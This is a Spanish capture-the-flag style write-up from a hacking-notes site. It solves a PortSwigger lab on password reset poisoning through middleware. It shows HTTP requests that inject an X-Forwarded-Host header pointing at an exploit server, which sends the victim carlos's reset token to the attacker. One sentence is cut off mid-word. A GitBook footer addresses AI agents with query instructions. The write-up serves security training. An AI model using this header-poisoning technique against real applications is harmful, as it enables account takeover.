> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/authentication/password-reset-poisoning-via-middleware.md).

# Envenenamiento del restablecimiento de contraseña mediante middleware

### Envenenamiento del restablecimiento de contraseña a través de middleware

Este laboratorio es vulnerable a un ataque de **envenenamiento del restablecimiento de contraseña**. / El usuario **carlos** hace clic sistemáticamente en los enlaces contenidos en los correos electrónicos que recibe.

Objetivo final: **acceder a la cuenta de carlos**.

* Credenciales válidas:
* `wiener:peter`
* Los correos electrónicos enviados a nuestra cuenta se pueden acceder a través del \*\*cliente de correo electrónico del servidor de explotación\*\*.

<figure><img src="/files/f6c225b07f6d7f9f060290114a44749b4d19e9f4" alt=""><figcaption></figcaption></figure>

La función de restablecimiento de contraseña es accesible y permite introducir un nombre de usuario.

<figure><img src="/files/087168c6d256762ce80e944c41ec78f3ee1de136" alt=""><figcaption></figcaption></figure>

Cuando inicias una solicitud de restablecimiento con nuestra propia cuenta (`wiener`), se envía un correo electrónico que contiene un enlace de este tipo:

{% code overflow="wrap" %}

```bash
https://0a45005104c7f2228168b62400a90036.web-security-academy.net/forgot-password?temp-forgot-password-token=wadsb5f13habt0byz2ifrf68srpga96p
```

{% endcode %}

<figure><img src="/files/b3d52f4f335e885b517e73a37dad5c8ac2539e5c" alt=""><figcaption></figcaption></figure>

Este enlace redirige a una página para definir una nueva contraseña usando un token temporal **token**.

<figure><img src="/files/cd41c73c03dc0d416b45c43e3c56486b74811c7d" alt=""><figcaption></figcaption></figure>

**Prueba de manipulación mediante Burp Suite**

Al interceptar la solicitud de restablecimiento de contraseña con **Burp Suite**, añadimos el siguiente encabezado HTTP:

```http
X-Forwarded-Host: test.com

username=wiener
```

El correo electrónico recibido todavía contiene el token válido, pero \*\*l

<figure><img src="/files/54ee0029a2f356f4c5f76b220b26c926113aa810" alt=""><figcaption></figcaption></figure>

Esto indica que la aplicación \*\* confía en el `X-Forwarded-Host`\*\* encabezado para generar el enlace de restablecimiento.

```http
X-Forwarded-Host: exploit-0af100e80420f2c381b0b5a301a8008c.exploit-server.net

username=carlos
```

**Explotación en la víctima**

Repite el ataque, esta vez dirigiéndolo a **carlos** y usando la URL de **servidor de explotación**

Se envía un correo a carlos que contiene un enlace de restablecimiento **alojado en nuestro servidor de explotación**, con un **token**:

```bash
/forgot-password?temp-forgot-password-token=r5jf8u0c48zh54pgoqx8jol619pboi3i
```

<figure><img src="/files/b597eff5b87099bb228489887071a914a694fe5a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/authentication/password-reset-poisoning-via-middleware.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
